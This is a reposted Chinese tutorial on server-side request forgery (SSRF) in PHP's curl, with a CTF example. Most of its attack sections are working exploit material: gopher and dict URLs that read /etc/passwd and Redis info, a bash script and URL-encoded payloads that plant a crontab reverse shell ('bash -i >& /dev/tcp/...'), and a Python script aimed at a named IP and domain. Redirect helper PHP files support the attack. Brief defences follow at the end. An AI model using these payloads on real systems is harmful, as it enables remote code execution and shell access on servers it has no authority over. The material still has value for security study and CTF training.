SSRF 漏洞分析与利用(含 CTF 例题)
source link: http://www.10tiao.com/html/608/201807/2655120378/2.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的。
一、漏洞产生
以curl为例,漏洞代码为ssrf.php
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
二、 利用方式
首先查看curl的版本和该版本支持的协议
[root@localhost html]# curl -V
curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7
libidn/1.28 libssh2/1.4.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp
scp sftp smtp smtps telnet tftp
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-
sockets
可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多。
ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多
gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。
先监听本地2333端口,然后利用gopher协议访问
[root@localhost ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726
[root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?
url=gopher://127.0.0.1:2333/_test'
[root@localhost ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726.
test
可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白
dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info
即可看到redis的相关配置。
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info
即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。
file:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问
http://4o4notfound.org/ssrf.php?url=file:///etc/passwd
即可看到很多不可描述的东西。同理,如果屏蔽回显,该协议就废了
http/s:主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用
三、攻击应用
主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,分别利用gopher协议和dict协议getshell。
首先要了解redis的getshell的exp写成的bash shell:
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1
-p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config
set dbfilename root
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
执行命令bash shell.sh 127.0.0.1 6379,就在redis里面写了一个键值对的定时任务(利用crontab),可以反弹shell。
gopher利用:这部分三叶草的joychou师傅说的很详细,可以看ssrf in php。
这里为了构造符合gopher协议的访问请求,首先要获取bash脚本对redis发出的访问请求,要用socat进行端口转发,转发命令为:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口,仍然访问的是6379的redis,相当于一个中转。
执行命令:
bash shell.sh 127.0.0.1 4444
socat就获取到了shell.sh对redis发出的请求(这里贴出来部分请求):
[root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2017/05/25 07:16:51.991865 length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2017/05/25 07:16:51.992468 length=5 from=0 to=4
+OK\r
> 2017/05/25 07:16:51.995872 length=83 from=0 to=82
*3\r
$3\r
set\r
$1\r
1\r
$56\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
\r
< 2017/05/25 07:16:51.996065 length=5 from=0 to=4
+OK\r
> 2017/05/25 07:16:51.998777 length=57 from=0 to=56
*4\r
$6\r
改成适配gopher协议的url:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0
a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333
0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad
ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$
10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq
uit%0d%0a
再进行urlencode,得到payload:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d
%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20
bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a
最终的攻击poc为:
curl -v 'http://127.0.0.1/ssrf.php?
url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%
250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2
A%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a'
执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell。
dict利用:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:
import requests
host = '104.224.151.234'
port = '6379'
bhost = 'www.4o4notfound.org'
bport=2333
vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
_location = 'http://www.4o4notfound.org/302.php'
shell_location = 'http://www.4o4notfound.org/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=
{bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#confg set dir
_payload='?s=dict%26ip={host}%26port=
{port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#config set dbfilename
_payload='?s=dict%26ip={host}%26port=
{port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#save
_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port
= port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data"); ?>
shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>
执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell。
四、绕过与防御
绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤。
防御:限制协议为HTTP、HTTPS。
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
禁止30x跳转
删掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
设置白名单或限制内网ip
五、例题
一道ctf题目,有两个文件:ssrf3.php和flag.php
题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过
curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转
首先获取访问flag.php的post请求:
POST /flag.php HTTP/1.1
Host: 192.168.154.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username=admin
因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。
302.php内容为:
header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost:
127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)
Gecko/20100101 Firefox/50.0%0d%0aAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip,
deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-
Type: application/x-www-form-urlencoded%0d%0aContent-Length:
14%0d%0a%0d%0ausername=admin");
流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。
因为都是一台机器在操作,但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的。
【推荐书籍】
网络攻防实战研究:漏洞利用与提权
作者:祝烈煌
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK